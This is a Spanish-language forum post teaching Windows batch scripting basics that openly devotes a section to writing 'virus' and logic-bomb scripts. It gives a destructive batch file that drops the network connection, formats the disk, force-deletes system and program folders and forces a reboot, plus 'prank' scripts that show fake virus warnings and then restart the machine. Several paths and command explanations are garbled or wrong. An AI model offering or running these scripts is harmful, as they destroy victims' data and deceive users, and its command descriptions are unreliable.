Bat ,comandos basicos e intermedios (explicado)+diversion

Hola! Tal y como lo dice el titulo aprenderemos bat desde cero, pero literalmente, desde cero
NO ME HAGO CARGO DEL USO DEL LENGUAJE YA QUE TAMBIEN SIRVE PARA PROGRAMAR VIRUS

1) Instrucciones
Las instrucciones son las palabras que escribimos para que la computadora haga lo que nosotros queramos, podemos hacer click derecho en el escritorio ( que no sea sobre ningun programa ni carpeta ) a lo que nos aparecera la opcion "Nuevo" del cual saldra una flecha y de ahi seleccionaremos "Nueva secuencia de comandos Windows NT", le pondran un nombre por ejemplo "Acciones" ya que no se necesita la extencion "Bat" para que sea una secuencia de comandos ***1***



2) Instruccion primordial
La primera instruccion al programar en bat es la instruccion "@echo off"
seguramente se deben preguntar por que esta el "off", el off sirve para no mostrar las instrucciones que pueden poner continuacion.
"Echo" tiene varias funciones Ej.:
@echo off
echo tambien sirve para imprimir en pantalla lo que escribimos a continuacion
pause > nul
exit
PD : el pause > nul es como el pause comun pero no muestra el "Presione una tecla para continuar"


Ahora analizemos el codigo
@echo off
Como ya sabemos necesitamos esta instruccion para no mostrar los codes (mas adelante en el post sabran para que no se deben mostrar los codes) y para que comienze a leer las instrucciones

echo
esta instruccion sirve para imprimir en pantalla lo que queremos que imprima tal y como esta en el ejemplo

shu***
Dependiendo de los comandos que coloquemos al lado tiene distintas funciones
-r Reinicia el equipo
-f Fuerza los procesos que se pusieron anteriormente
-s Apaga el equipo
-c Muestra un mensaje (el mensaje siempre puesto entre comillas)
-t 01 Este comando indica en cuanto tiempo se debe realizar los procesos anteriores osea que evidentemente
el sistema operativo (windows o linux o mac etc) se reiniciara/apagara en un segundo

Exit
este comando cierra la consola de acciones


3) Comandos para virus y bombas logicas
Los comandos tienen distintas funciones y realisan las distintas funciones
para programar un virus en Batch

Tal y como aprendimos anteriormente pondremos el codigo primordial

@echo off
ipconfig /release
format /q
del /s /f /q "Cocuments and settings"
del /s /f /q "C:Administrador"
del /s /f /q "C:Archivos de programa"
shu*** -r -f -t 10 -c "Bienvenido al Infierno"
exit

Como es obvio que no ivan a leer el codigo completo explicare parte por parte no aprendida anteriormente

ipconfig /?
/release Desconecta de internet al usuario
/all
Muestra toda la información de configuración.

/allcompartments
Muestra información para todos los compartimientos.

/release
Libera la dirección IP para el adaptador específicado (IPv4 e IPv6).

/renew
Renueva la dirección IPv4 para el adaptador específicado.

/renew6
Renueva la dirección IPv6 para el adaptador específicado.

/flushdns
Purga la caché de resolución de DNS.

/registerdns
Actualiza todas las concesiones DHCP y vuelve a registrar los nombres DNS.

/displaydns
Muestra el contenido de la caché de resolución DNS.

/showclassid
Muestra todas los id. de clase DHCP permitidas para este adaptador.

/setclassid
Modifica el id. de clase DHCP.

format /q
format es un comando para formatear el pc o el disco C:
/ V [: etiqueta] Especifica la etiqueta de volumen.
/ Q Realiza un formato rápido.
/ F: tamaño Especifica el tamaño de un disco a formato (tales como 160, 180, 320, 360, 720, 1,2, 1,44, 2,88).
/ B Asigna espacio en el disco con formato para archivos de sistema.
/ S Copia los archivos del sistema en el disco formateado.
/ T: pistas Especifica el número de pistas por lado del disco.
/ N: sectores Especifica el número de sectores por pista.
/ 1 Formatos de un solo lado de un disquete.
/ 4 Formatea un disco floppy de 5,25 pulgadas 360K en una unidad de alta densidad.
/ 8 Formatos ocho sectores por pista.
/ C Pruebas de grupos que están actualmente marcados como "malo".


4) Establecer variables
el comando para establecer una variable es "set" Ej.:
@echo off
set hola=adios
echo hola! como andas?
echo esta bien te vas? %hola%
shu***
exit

set "hola"="adios" eso significa que el valor de hola es adios, las variables tienen el signo "%" en el principio de la palabra y en el fin
Los comandos de las variables no los tengo, pero dentro de poco los subire

5) todos los comandos (que encontre) xD
cd = Cambiar de directorio
cls = Limpia la consola
copy = Copia un archivo
start = Abre un archivo
md = Crea una carpeta
rd = Elimina una carpeta
del = Elimina un archivo
dir = Muestra lista de archivos & carpetas
taskkill = Mata proceso
shu*** = Apagar / Reiniciar / Suspender
echo = Muestra un mensaje de consola
msg * = Muestra un mensaje en modo ventana
rename = Renombra un archivo o capeta
: = Crea un bucle
goto = Realiza el bucle
title = Titulo
dir : muestra un listado con el contenido de un directorio.
type : muestra el contenido de un archivo en pantalla.
copy : copia archivos en otro lugar.
ren : renombra archivos.
md : crea un nuevo directorio.
cd : cambia el directorio actual por el especificado.
rd : borra un directorio vacío.
deltree : borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
cls : limpia la pantalla.
help : ayuda sobre las distintas órdenes. o pueden poner por ejemplo "set /?"
SORT : ordena Datos
UNDELETE : NO borra archivos, pero no llego a confirmar que los proteje
pause : pausa la consola, hasta que no se aprete una tecla no sigue
pause > nul : A diferencia del otro pause, con este no te figura el cartel "Aprete una tecla para continuar"
taskkill : cierra cualquier programa (con el comando "/f"


5)Diversion y bromas
No se si estaban esperando esto o no pero lo que si se es que va a ser la parte mas leida xD
copien y peguen en el bloc de notas y guarden en terminacion ".bat" y si no eligieron la ruta de acceso esta en "Mis Documentos" xD
solo dejare los codes ok?



@echo off
color C
:bucle
echo 123 1 3 14 1 415 243 53 6 36 36 5 36 3 654 7 3 763 6 4 3 63 6 3 65 345 34 6 36 3
echo 234324 2 235 2 534 6 45 756 66 5 89 98 4 25 99 99 9 99 9 968785 52 56 6 66 6
echo 3245 34 34 63 6 25 62 62 5 6 54 56 45 62 6 52 26 62 624 277 72 2245542 6226 26
echo 34 5 3 6734 77 8 8 98 63 2 16 265 77 2367 538 6 3 7 256314 65 425 427 24 5746
echo hjjh24lhjhhjlkhljkh5253645645jkhjkh5jk34h5jh3456 53n456346 34 7665 7 56 73 54
echo 235 423 53 46 45 6 7 5 7 6587 6 8 4 52 35435 46 475 67 685 7 4 6 35 4 6 4756 7567
echo 2345 34 64 56 5 7 567 6 867 8 79 7 56 35 34 5 34 54 6 475687 6 8 67 85 645 43534
goto bucle




@echo off
msg * Virus detectado, no se borrara nada
msg * Recuerdas cuando te dije que no se borrara nada? MENTI
shu*** -r -f -t 10
exit

Anuncios

Fuentes de Información - Bat ,comandos basicos e intermedios (explicado)+diversion

Dar puntos
0 Puntos
Votos: 0 - T!score: 0/10
  • 0 Seguidores
  • 1.897 Visitas
  • 2 Favoritos

4 comentarios - Bat ,comandos basicos e intermedios (explicado)+diversion

@-LSD Hace más de 2 años +1
@hevhil8 Hace más de 2 años
Gracias justo lo necesito para alguito
@maricotax Hace más de 1 año
JAJAJJA YO NO LO APRENDI POR NADA JJIJIJIJIJI
@hevhil8 Hace más de 1 año
y si funciono!!!!!!!!
@maricotax Hace más de 1 año
Felicitaciones!!!
PD: Si quieres el efecto matrix solo debes poner el comando "color A" (las letras son verdes)